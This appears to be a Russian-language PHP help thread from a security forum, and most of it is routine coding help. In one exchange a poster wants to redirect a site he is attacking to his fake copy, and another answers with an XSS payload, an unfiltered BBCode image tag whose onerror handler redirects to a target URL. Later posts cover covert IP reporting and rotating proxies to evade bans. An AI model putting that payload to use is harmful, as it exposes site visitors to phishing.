мож знает кто как сделать чтоб в $H записался предыдущий сайт а не index.html?

m0Hze
23.01.2010, 20:05
F1uDeR спс помогло))
проблема была с этой штукой - $H=getenv("HTTP_REFERER");
было 2 страници...хтмл с формой(index.html) и пхп с кодом $H=getenv("HTTP_REFERER");...но в $H занасился index.html
мож знает кто как сделать чтоб в $H записался предыдущий сайт а не index.html?
Создать отдельный файл с определением реферера,и подключать его ко всем страницам.

SKIF86
23.01.2010, 20:48
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз

olishort
24.01.2010, 00:08
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз

вроде как не разрешит

GlooK
24.01.2010, 09:11
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз
Так не выйдет. Тебе нужен доступ к изменению страниц.
Самый хороший вариант делать редирект через Location.

m0Hze
24.01.2010, 09:56
Так не выйдет. Тебе нужен доступ к изменению страниц.
Самый хороший вариант делать редирект через Location.
Все будет пучком,если тег [img] плохо\не фильтруеться.В таком случае загружаеш туда заместо картинки,жабаскрипт,которы й в onerror="location.href = 'http://target.ru';"

GlooK
24.01.2010, 11:25
Все будет пучком,если тег [img] плохо\не фильтруеться.В таком случае загружаеш туда заместо картинки,жабаскрипт,которы й в onerror="location.href = 'http://target.ru';"
Ммм... интересно)

m0Hze
24.01.2010, 11:32
Ммм... интересно)
Вот еще интересная штука.
https://forum.antichat.net/showpost.php?p=1683595&postcount=10134

Jazz
24.01.2010, 14:18
$fp = fsockopen($host, 80, $errno, $errstr, 30); выдаёт ошибку(значение $host менял много раз).
Operation not permitted (1)-ошибка.
в чём может быть дело?

roker777
24.01.2010, 14:22
Короче я вобще ничего незнаю и хотел спросить куда вставляются php скрипты?

mailbrush
24.01.2010, 14:32
Короче я вобще ничего незнаю и хотел спросить куда вставляются php скрипты?
:D Мда... В гугл они вставляются, ты не знал?

Jazz
24.01.2010, 14:33
roker777 ставишь виртуальный сервер(например xampp)закидываешь скрипт в папку,называешь её,кидаешь её в папку на сервере (в xampp htdocs)в браузере пишешь localhost/имя папки

roker777
24.01.2010, 14:40
mailbrushнет незнал JazzСпасибо что натолкнул на правильный путь, а буду искать.

roker777
24.01.2010, 14:50
JazzНа денвере это сделать можно.

Jazz
24.01.2010, 15:05
roker777 можно.
fsockopen,возможно с виртуального сервера приконектиться ?с него говарит что приконектился...но остальное не работает...помагите плиз)

Komyak
24.01.2010, 18:45
Подскажите в какую сторону копать(часть кода):

...........................

$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);

for($i = 0; $i < $c; $i++)
{
$stroka = explode('\r\n',$array_login[$i]);
if($stroka == $login)
unset($array_login[$i]);
}

$row=implode("\r\n",$array_login);
fwrite($file_log,$row);
fclose($file_log);

..........................

После того как строка становится не нужна, я пытаюсь перенести её в другой файл, но ни х не получается. Где-то что-то перепутал....
Помогите пожалуйста, а то 2 часа секса с PHP отняли все силы... =))

WNZRS
24.01.2010, 18:51
$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);

for($i = 0; $i < $c; $i++)
{
$stroka = explode('\r\n',$array_login[$i]);
if($stroka == $login)
unset($array_login[$i]);
}

$row=implode("\r\n",$array_login);
$f = fopen($file_log, 'w'); // Открываем файл
fwrite($f,$row);
fclose($f);
Перед запись файл надо открыть

Komyak
24.01.2010, 18:56
Перед запись файл надо открыть
Забыл... Но проблема осталась.

Warning: implode() [function.implode]: Bad arguments. in Z:\home\localhost\www\test.php on line 15

Вылетает ошибка и в итоге файл становится пустым.

WNZRS
24.01.2010, 19:12
$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);

for($i = 0; $i < $c; $i++)
{
if(trim($array[$i])== $login)
unset($array[$i]);
}

$row=implode("\r\n",$array);
$f = fopen($file_log, 'w'); // Открываем файл
fwrite($f,$row);

Komyak
24.01.2010, 19:52
Всё понял =)) Спасиб! Только концовку переправить надо, а то пустые строки остаются:

.....
$fp=fopen($file_log,"w+");
fputs($fp,implode("",$array));
fclose($fp);
........

сорри за оффтоп..

2468
25.01.2010, 02:39
а кто подскажет в какой проге лучше писать на Php?

b3
25.01.2010, 02:48
Кому как удобно, мне к примеру в phpDesigner 7 удобно работать. Но есть минус - нет функции сворачивания блоков кода (классы, условия, функции)

Alpha][
25.01.2010, 03:02
Я Notepad++ пользуюсь ,например , вполне удобно .

b3
25.01.2010, 03:24
[']Я Notepad++ пользуюсь ,например , вполне удобно .
А как насчет ООП ? Он не парсит классы, и приинклуднутые файлы же ? Я не заметил етих удобств в нем.

.::BARS::.
25.01.2010, 10:53
Geany - очень устраивает.....
а раньше был np++ , но теперь он на пенсии =)))

Alexander123
25.01.2010, 15:45
Помогите написать(дайте материалы) по созданию пхп скрипта который при подключении к инету компьютера отправляет айпи компа на нужную мне почту!!!!!!!!!
айпи меняется ежедневно!!!!!!!!!

Byrger
25.01.2010, 17:29
У меня есть скрипт который проверяет онлайн ли машиа на введенном порте и ип
Но данный скрипт сильно тормозит весь сайт
Может есть решение быстрее это сделать?

function ping($ip,$port){
$fp = @fsockopen($ip, $port, &$errno, &$errstr, 2);
if($fp >= 1){$online = '1';}else{$online = '0';}
return $online;
}

namak
25.01.2010, 17:31
1.как на php или на javascript вывести на страничке кол-во файлов из заданной папки.
2. и тоже самое, только например, кол-во фалов формата JPG, из заданной папки

WNZRS
25.01.2010, 17:36
$dir = scandir('folder'); // Сканируем папку
unset($dir[0]); unset($dir[1]); // Удаляем точки
echo 'In folder '.(sizeof($dir)).' files<br>'; // Выводим
for($i=2; $i<sizefof($dir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра

Alexander123
25.01.2010, 17:40
хэлп ... когда пользователь включает инет скрипт должен незаметно зайти на сайт например 2ip.ru и отправить на почту айпи который находится на сайте... это возможно???Желательно пхп

Solker
25.01.2010, 17:46
Alexander123
причем тут пхп скрипт как ты себе представляеш это???
разве что жабаскрипт который посылает данные при заходе на страничку к хосту где лежыт твой пхп скрипт а тот в свою очередь на ящик ...

Заходим на www.whatismyip.com, парсим Ip.
Потом через smtp, например майла, отправляем сами себе письмо с этим IP.
Пихаем в крон и выполняем каждые 5 минут.

<?php

$file = file_get_contents('http://www.whatismyip.ru/');
preg_match('#^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$#m',$file,$matches);
$my_ip = $matches[1];
$my_email = 'not@for.spam';

mail($my_email,'My IP',$my_ip);

?>

Это без настройки smtp майла.

namak
<?php

//1.как на php или на javascript вывести на страничке кол-во файлов из заданной папки.

$dir = 'C:\\'; // Windows
//$dir = '/root'; // Linux

$files = scandir($dir);
echo "Count files in $dir - ".count($files)."<br/>".chr(10);

//2. и тоже самое, только например, кол-во фалов формата JPG, из заданной папки

$count_jpg = 0;
foreach($files as $file)
if(strtolower(substr($file,-3,3)) == 'jpg' or strtolower(substr($file,-3,3)) == 'jpeg') $count_jpg++;

echo "Count *. jpg files in $dir - ".$count_jpg."<br/>".chr(10);

?>

Solker
25.01.2010, 17:53
У меня есть скрипт который проверяет онлайн ли машиа на введенном порте и ип
Но данный скрипт сильно тормозит весь сайт
Может есть решение быстрее это сделать?

function ping($ip,$port){
$fp = @fsockopen($ip, $port, &$errno, &$errstr, 2);
if($fp >= 1){$online = '1';}else{$online = '0';}
return $online;
}

По моему это самое быстрое решение, ИМХО. Таймаут понизь, что бы не ждать, если сервер не отвечает.

Можно запихнуть в крон и сделать, что бы он записывал в файл, каждую минуту, статус сервера, status.txt.
А основной скрипт, просто будет читать этот файл. Это снизит нагрузку на сервер и он каждый раз не будет отправлять запрос.
Но тогда статус сервера мы будем получать с задержкой в одну минуту.

Alexander123
25.01.2010, 18:03
Пихаем в крон и выполняем каждые 5 минут..... парсим Ip....
кто имеет представление что это такое?????????

namak
25.01.2010, 18:16
$dir = scandir('folder'); // Сканируем папку
unset($dir[0]); unset($dir[1]); // Удаляем точки
echo 'In folder '.(sizeof($dir)).' files<br>'; // Выводим
for($i=2; $i<sizefof($dir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра


это мне больше понравилось,
но надо for($i=2; $i<sizeof($dir); $i++) а не for($i=2; $i<sizefof($dir); $i++)

и ко второй части с jpg все норм работает и считает правильно
по аналогии изменил на gif и еще на png, и к ним выводятся числа одинаковые, и не правильные.
не смог решить проблему эту

WNZRS
25.01.2010, 19:19
это мне больше понравилось,
но надо for($i=2; $i<sizeof($dir); $i++) а не for($i=2; $i<sizefof($dir); $i++)

и ко второй части с jpg все норм работает и считает правильно
по аналогии изменил на gif и еще на png, и к ним выводятся числа одинаковые, и не правильные.
не смог решить проблему эту

Если ты добавляешь png и gif, то скрипт должен выглядеть так

$sdir = scandir('folder'); // Сканируем папку
unset($sdir[0]); unset($sdir[1]); // Удаляем точки
echo 'In folder '.(sizeof($sdir)).' files<br>'; // Выводим
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.gif') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' GIF files<br>'; // Выводим то что осталось после фильтра
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.png') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' PNG files<br>'; // Выводим то что осталось после фильтра

antihay
25.01.2010, 21:39
Доброго времени суток.

Долго искал в поисковиках, находил сплошной бред. Хочу замутить такую фигню, как вывод html-страниц посредством PHP. В самом деле на первый взгляд фигня, потому что работать будет без MySQL.
Конкретно, имеются несколько директорий, в каждой имеются субдиректории и 10-20 файлов. Необходимо организовать скрипт таким образом, чтобы при переходе по меню, html-файл выводился в центре страницы, с сохранением шапки, меню, подвала.
Слепил нечто подобное с применением SSI, но хочется попробовать, как получится на PHP.

Вот примерно такая схема:

http://s005.radikal.ru/i211/1001/25/d542e70ea6act.jpg (http://radikal.ru/F/s005.radikal.ru/i211/1001/25/d542e70ea6ac.jpg.html)

Fuckel
26.01.2010, 03:11
Так делай инклуд по параметру в индексе, а хэдер и футер сделай статичным.

antihay
26.01.2010, 07:44
Айн момент

header.php

<HTML>
<HEAD> <TITLE>Пробный двиг PHP</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<META http-equiv="Content-Language" content="ru"> </HEAD>
<BODY>
<H2>Пробный двиг PHP</H2>
<TABLE width="100%"><TR> <TD width="17%" valign="top"> <BR> <BR> <P><a href="index.php">Раздел 1</a> <P><a href="section2.php">Раздел 2</a> <P><a href="section3.php">Раздел 3</a> <P><a href="section4.php">Раздел 4</a> </TD>

_______________

footer.php

<BR> <BR>
</BODY>
</HTML>

_______________

index.php

<? include("header.php"); //подключаю верх ?>
<TD width="83%" valign="top"> <CENTER> <H2>Раздел1. Главная страница</H2>
</CENTER> <!------- Ввожу текст --------> <P>
</TD> </TR> </TABLE> <? include("footer.php"); //подключаю подвал ?>

_______________


section2.php

<? include("header.php"); //подключаю верх ?>
<TD width="83%" valign="top">
<CENTER><H2>Раздел 2</H2> </CENTER>
<!------- Ввожу текст, ссылки --------> <P> </TD> </TR> </TABLE>
<? include("footer.php"); //подключаю подвал ?>

.... и так далее.
После пары бутылей пива получилось. Но остается одна проблема, и как начинающий не могу ее решить, а именно:

Вышеприведенным методом получается вывести html-файлы, если они хранятся в корневой директории (например, "site.com/file.php"). Но когда ставлю ссылку на файл, хранящийся в поддиректории, допустим "site.com/subfolder/file.php", выводится ошибка:

Warning: include(header.php) [function.include]: failed to open stream: No such file or directory in Z:\home\localhost\www\phtml\new\section7.php on line 2 Warning: include() [function.include]: Failed opening 'header.php' for inclusion (include_path='.;/usr/local/php5/PEAR') in Z:\home\localhost\www\phtml\new\section7.php on line 2

Выводится центр страницы, но header и footer пропадают. Думал что можно бы решить задачу, добавив в инклуд путь файла:
<? include("../header.php");
?>

Однако возникает новая проблема, в навигации. То есть со страницы назад не попадешь, потому что URL выдается криво, в него автоматически попадает тот самый subfolder. Например, site.com/subfolder/файл главной страницы.



Кстати, та же проблема получается в варианте с SSI, такой же вариант я попытался замутить на SSI

mff
26.01.2010, 07:59
Помогите с preg_match()

нужно из строки e-mail:&nbsp; &nbsp;&nbsp; <a href="mailto:mail@inbox.ru">mail@inbox.ru</a><br> выдрать mail@inbox.ru

пишу: preg_match("#e-mail:&nbsp; &nbsp;&nbsp; <a href=\"mailto: *\">(.*?)</a><br>#", $answer, $out); но не работает :(

GlooK
26.01.2010, 08:29
А так не пойдет?

preg_match("#mailto\:(.*?)\"#", $answer, $out);

mff
26.01.2010, 08:38
GlooK, спасибо большое!

+casper+
27.01.2010, 17:26
Хм. С поиска... Разве что с определенных сайтов, а с поиском будет посложней. Опиши поконкретней, тебе скрипт полностью автоматический или как?

Jazz
28.01.2010, 06:13
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?

REBUUS
28.01.2010, 11:36
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?
да можно
$file = file_get_contents("http://site.ru/");

только это уже код который сервер выдает после обработки

REBUUS
28.01.2010, 11:41
и свой вопрос, делаю голосование, надо что бы один человек только один раз в день делал , по ip проверяю, но надо еще как то, что лучше куки закидывать или сессии создавать ? (кстати кто с телефона выходит у них ip статический???)

superboy4
28.01.2010, 11:46
Добавляй идентификатор сессии юзера в таблицу голосов, я так с рейтингами делаю

REBUUS
28.01.2010, 12:15
Добавляй идентификатор сессии юзера в таблицу голосов, я так с рейтингами делаю

сессии же хранятся на сервере, а надо что бы на компе юзера что то оставлялась что ты с другого ип не зашел и не проголосовал для этого не лучше куки ?


кто с телефона выходит у них ip статический???

superboy4
28.01.2010, 12:21
Ты делаешь регистрацию, систему входа/выхода с ресурса, допустим пользователь вошёл,то он получил сессию, дальше ему нужно проголосовать за кого-то, так вот при голосовании в таблицу голосов(votes) добавиться его идентификатор,который уникален для каждого пользователя, в дальнейшем просто проверяешь -- голосавал ли пользователем с таким ID или нет, если нет, то соответственно в таблице голосов не будет идентификатора этого пользователя, для какого то конкретного пользователя, за кого он голосует

К примеру схема votes

id, user_id, vote, voteable

здесь voteable(оцениваемый чел) - идентификатор юзера которого мы оцениваем, user_id - идентификатор того, кто оценивает даного пользователя(voteable)

REBUUS
28.01.2010, 12:27
голосование без регистрации, если бы с регистрацией было то другое дело.

корочн говоря мне надо просто в какую то переменную на компе пользователя создавать переменную где будет храниться дата последного голосования

superboy4
28.01.2010, 12:30
голосование без регистрации, если бы с регистрацией было то другое дело

значит, 100 процентов не по IP, т.к. он динамический, достаточно разорвать соединение и снова создать, в результате можно снова проголосовать.

Что касается в установке cookie! Ведь их можно почистить в браузере, что тоже не решение.
ещё есть метод по железу. Но это геморрой.

REBUUS
28.01.2010, 12:41
setcookie ("TestCookie", "data()",time()+24*3600);

$dat = $_COOKIE["TestCookie"];

от так решил делать

svesve
28.01.2010, 14:08
Как можно найти в файле требуемое слово(полностью)??

Пример:

файл -

111222
7111222
1112223


нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.

тобишь нужен поиск слова целиком.

GlooK
28.01.2010, 14:15
Как можно найти в файле требуемое слово(полностью)??

Пример:

файл -

111222
7111222
1112223


нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.

тобишь нужен поиск слова целиком.
я бы реализовал так:


$filename = 'myfile.txt';

$filearray = file($filename);
foreach($filearray as $temdata => $linedata) {
if (preg_match('/^111222$/i', trim($linedata))) {echo 'Match succefuly! :)'; break;}
}


Возможно есть реализация проще :)

Deathdreams
28.01.2010, 15:45
svesve : Как можно найти в файле требуемое слово(полностью)??



$file = file('file.txt');
$fstr = ""; // кого найти?

if(in_array($fstr, array_map('trim', $file)) die('Строка найдена');

Fuckel
28.01.2010, 15:53
я бы реализовал так:


$filename = 'myfile.txt';

$filearray = file($filename);
foreach($filearray as $temdata => $linedata) {
if (preg_match('/^111222$/i', trim($linedata))) {echo 'Match succefuly! :)'; break;}
}


Возможно есть реализация проще :)

а если строка "123 123 111222 312"? твой вариант не будет работать

svesve : Как можно найти в файле требуемое слово(полностью)??



$file = file('file.txt');
$fstr = ""; // кого найти?

if(in_array($fstr, array_map('trim', $file)) die('Строка найдена');



для чего трим?

--
обходи циклом, проверяй регуляркой обрамив нужное слово \b
пример из документации
<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
* word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>

Fuckel
28.01.2010, 16:02
голосование без регистрации, если бы с регистрацией было то другое дело.

корочн говоря мне надо просто в какую то переменную на компе пользователя создавать переменную где будет храниться дата последного голосования
индентифицируй пользователя по оси, браузеру, разрешению экрана и кукам. этого должно хватить ;)

Fuckel
28.01.2010, 16:05
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?
curl, fopen, file_get_contents, fsockopen

Deathdreams
28.01.2010, 16:19
а если строка "123 123 111222 312"? твой вариант не будет работать



для чего трим?

--
обходи циклом, проверяй регуляркой обрамив нужное слово \b
пример из документации
<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
* word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>

Твой вариант не верен, т.к. в строке могут быть лишние символы.

Мой вариант правильный, в данной ситуации.

Трим, т.к. строки в файле бывают с ненужными пробелами по бокам записаны, трим для перестраховки

Fuckel
28.01.2010, 16:58
почему мой вариант не верен?

Deathdreams
28.01.2010, 18:06
почему мой вариант не верен?
Твой вариант не верен, т.к. в строке могут быть лишние символы.

svesve просит, чтобы совпадала полностью строка, а не чтобы это слово было частью строки

Fuckel
28.01.2010, 18:10
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )

Deathdreams
28.01.2010, 18:13
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )
лол

imajo.ati
28.01.2010, 18:14
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )
перенос строки и возват каретки тоже символы. нуждающийся наверняка имел ввиду непечатные символы

svesve
28.01.2010, 18:32
спасибо всем уже решил задачу )

N2kroot
28.01.2010, 23:07
Народ,как сделать вывод текста из бд по рейтингу..
Да вообще --- как сделать этот рейтинг?

Вот я сделал страницу,на ней всё есть(рега\вход\выход\куки)
при регистрации создаётся файл с новым именем(именем юзера), а вообще --- пишется файл,типа :
all.dat
в нём:
Имя|0
Имя|1
Имя|2
Ну вот,а надо сделать что-то типа:
Имя|0|Рейтинг:80%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
А если регнется новый,то:
Имя|0|Рейтинг:70%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
Имя|3|Рейтинг:10%
А если кто-то повысит рейтинг,то,например,так:
Имя|0|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%

И самое главное:
Вывод инфы:
Допустим файл содержит:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
Тогда вывод:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10% --- не активен,модератор удали его!
Вопрос: как это организовать?
Если надо --- выложу скрипт...

Fuckel
28.01.2010, 23:19
сохраняй, например, так
Имя|0|80
а при чтении, если юзеров не много, загоняй все массив и сортируй (http://php.net/manual/en/array.sorting.php) по рейтингу.

N2kroot
28.01.2010, 23:20
Как можно найти в файле требуемое слово(полностью)??

Пример:

файл -

111222
7111222
1112223


нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.

тобишь нужен поиск слова целиком.

Вот например у тебя
npimer.txt,а в нём:
7111222
111222
Надо найти 111222 или проверить - есть ли она вообще?
Вот код:
$ischem="111222";
$TBoi_fail = "npimer.txt";
$massiv = @file($TBoi_fail);
$lines = count($massiv);
for ( $i = 0; $i <= $lines; $i++ ){
list($chislo,$chislo2)=explode(' ', $massiv[$i]);
if($ischem==$chislo){ Exit("Найдено совпадение!<BR>Искали:$ischem<BR>Найдено:$chislo }
if($i==$lines){ die("Совпадений нет!"); }
}

В данном случае появится:
Найдено совпадение!
Искали:111222
Найдено:111222

Fuckel
28.01.2010, 23:40
Народ,как сделать вывод текста из бд по рейтингу..
Да вообще --- как сделать этот рейтинг?

Вот я сделал страницу,на ней всё есть(рега\вход\выход\куки)
при регистрации создаётся файл с новым именем(именем юзера), а вообще --- пишется файл,типа :
all.dat
в нём:
Имя|0
Имя|1
Имя|2
Ну вот,а надо сделать что-то типа:
Имя|0|Рейтинг:80%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
А если регнется новый,то:
Имя|0|Рейтинг:70%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
Имя|3|Рейтинг:10%
А если кто-то повысит рейтинг,то,например,так:
Имя|0|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%

И самое главное:
Вывод инфы:
Допустим файл содержит:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
Тогда вывод:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10% --- не активен,модератор удали его!
Вопрос: как это организовать?
Если надо --- выложу скрипт...

сортировка, например, такая:

<?php
$f = file("users.dat");
$users = Array();
for ($i=0; $i<count($f); $i++)
{
$users[] = explode('|', $f[$i]);
settype($users[$i][2], int);
}
function cmp($a, $b)
{
if ($a[2] == $b[2]) {
return 0;
}
return ($a[2] < $b[2]) ? -1 : 1;
}
usort($users, "cmp");
print_r($users);
?>


файл users.dat
a|0|1
aa|12|100
bvn|42|3

рейтинг - третий элемент, то есть это будут 1, 100 и 3

imajo.ati
29.01.2010, 00:06
Народ,как сделать вывод текста из бд по рейтингу..

SELECT `NAME`,`ID`,`RATING` FROM `users` WHERE `BANNED`!=1 ORDER BY `RATING` DESC;

N2kroot
29.01.2010, 15:08
Да нет же,я на файлах люблю делать

GlooK
29.01.2010, 15:10
Да нет же,я на файлах люблю делать
Извращенец.

N2kroot
29.01.2010, 15:14
Переделал скрипт,но не пойму принцип работы,хотя написал сам...
<?php
$f ="clans/all.dat";
$general = @file($f);
$lines = count($general);
for ( $i = 0; $i <= $lines; $i++ ){
list($nenado,$nenado2,$nado)=explode('|', $general[$i]);
if($nado < '100'){ break; }
if($nado > ($lines / 100 * $nado)){ echo "<table width=100% cellpadding=2 cellspacing=1 class=forumline>
<tr>
<th width=62% colspan=2 class=thCornerL height=25 nowrap=nowrap>\"$nado\"</th>
<th width=28% class=thCornerR nowrap=nowrap>s</th>
</tr>"; }
if($i==$lines){ $dont_registr = 'yes'; }
}
?>
Вот он и выводит
"80 " s
"20 " s
А куда 3й делася?
Я брал 3 строки,появилось 2 :(

imajo.ati
29.01.2010, 16:06
Переделал скрипт,но не пойму принцип работы,хотя написал сам...
<?php ?>
Вот он и выводит
"80 " s
"20 " s
А куда 3й делася?
Я брал 3 строки,появилось 2 :(


попробуй добавить обработчики исключений рядом с break

как-нибудь так:

<?php
$f = "clans/all.dat";
$general = @file($f);
$lines = count($general);
for ( $i=0; $i<$lines; $i++ ) {
list($nenado,$nenado2,$nado)=explode('|', $general[$i]);
if( (int)$nado < 100 ){
echo 'Остановилось, потому что $nado меньше 100<br>';
break;
}
else if( $nado > ($lines / 100 * $nado) ) {
echo "<table width=100% cellpadding=2 cellspacing=1 class=forumline>
<tr>
<th width=62% colspan=2 class=thCornerL height=25 nowrap=nowrap>\"$nado\"</th>
<th width=28% class=thCornerR nowrap=nowrap>s</th>
</tr>";
}
else {
echo '$nado не вывелось потому что $nado больше чем ($lines/100*$nado)<br>';
}
if($i==$lines) { $dont_registr = 'yes'; }
}

N2kroot
29.01.2010, 17:57
Мне не надо остановку,мне надо просто вывести список по рейтингу..
Весь,а вот если рейтинг равен 10(у новых записей так стандартно),то выводится токо первая запись(

Banderos_Russia
29.01.2010, 22:28
Подскажите скрипт, который не позволяет нажать на ссылку пока не нажмешь по другой ссылке. Пример: ссылка на скачивание "Скачать", когда на неё нажимаешь, появляется окно в котором нужно обязательно нажать на ссылку, тогда ссылка "Скачать" начинает перенаправлять куда нужно. Вот как то так)

TDKronuS
30.01.2010, 01:59
Banderos_Russia, а почему бы не сделать, что бы в этом новом окне и была ссылка на реальное "Скачать"?

Vlad&slav
30.01.2010, 03:14
мб тупой вопрос, но если есть допустим слово q1w2e3r4 и нужно перевести его в масссив так чтобы каждая буква стала элементом масссива попорядку?

#Wolf#
30.01.2010, 06:17
мб тупой вопрос, но если есть допустим слово q1w2e3r4 и нужно перевести его в масссив так чтобы каждая буква стала элементом масссива попорядку?
строка это уже и есть как бы массив:
echo $str[0];

или же можно так.

echo '<pre>';
$str='q1w2e3r4';
$str=str_split($str);
print_r($str);
echo '</pre>';

Jazz
30.01.2010, 08:07
нужна функция крторая вытащит из переменной строку по шаблону(например чтоб ватаскивал строку которая начинаяться с 123).

GlooK
30.01.2010, 08:29
нужна функция крторая вытащит из переменной строку по шаблону(например чтоб ватаскивал строку которая начинаяться с 123).
регулярные выражения?
if (preg_match('/^123(.*)/i', $mystring, $match)) {echo 'Строка начинающаяся с 123: '.$match[0];}
как то так.

Nosfer
30.01.2010, 09:51
Нужна помощь с рандомным перебором проксей, вот исхордный код




$match='#https?://([^/\s]+)\S+#i';
preg_match_all($match, $_POST['urls'], $matches);
$matches = array_values(array_combine($matches[1],$matches[0]));

$mh = curl_multi_init(); //Create multithread
$handles = array();
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"; // set user agent


//File with proxies to array
$proxyarr = file('http://localhost/checkproxy/proxies.txt', FILE_IGNORE_NEW_LINES);

//echo $proxyarr[array_rand($proxyarr, 1)]."<br>";


for ($i=0; $i<sizeof($matches);$i++) {
//Create URL
$request = 'someurl';
// create a new single curl handle
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 600);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
// add this handle to the multi handle
curl_multi_add_handle($mh,$ch);
// put the handles in an array to loop this later on
$handles[] = $ch;
}
// execute the multi handle
$running=null;
do {
curl_multi_exec($mh,$running);
// added a usleep for 0.25 seconds to reduce load
usleep (25000);
} while ($running > 0);
// get the content of the urls (if there is any)
for($i=0;$i<count($handles);$i++) {
$output = unserialize(curl_multi_getcontent($handles[$i]));

//ban check
if (!isset($output[ResultSet][totalResultsAvailable])) {
echo "<b>BAN</b><br>";
echo "$request";
exit(0);
}

$result[$matches[$i]]=$output[ResultSet][totalResultsAvailable];
curl_multi_remove_handle($mh,$handles[$i]);
}




Скрипт ходит по http и дергает URL, который отдает ему массив.
Но сам ресурс имеет свойство периодически банить по IP, для этого и нужны прокси.
Я бы с удовольствием воткнул в цикл for($i=0;$i<count($handles);$i++) нечто вроде curl_setopt($ch, CURLOPT_PROXY, $proxyarr[array_rand($proxyarr, 1)]); и у меня даеже есть проверка на бан if (!isset($output[ResultSet][totalResultsAvailable])) но как сделать так, чтобы в случае бана он сделал для этого же урл новую итерацию забора контента, но уже с новой рандомной проксей из того же массива $proxyarr? Стоит также учесть тот момент, что на следующей прокси результата тоже может не быть и прокси надо перебирать до победного.

Я сам вижу лишь вариант в добавлением неуспешных элементов(урлов) в спец массив и повторным прогоном их с рандомными проксям, но решение кривовато.

mailbrush
30.01.2010, 10:42
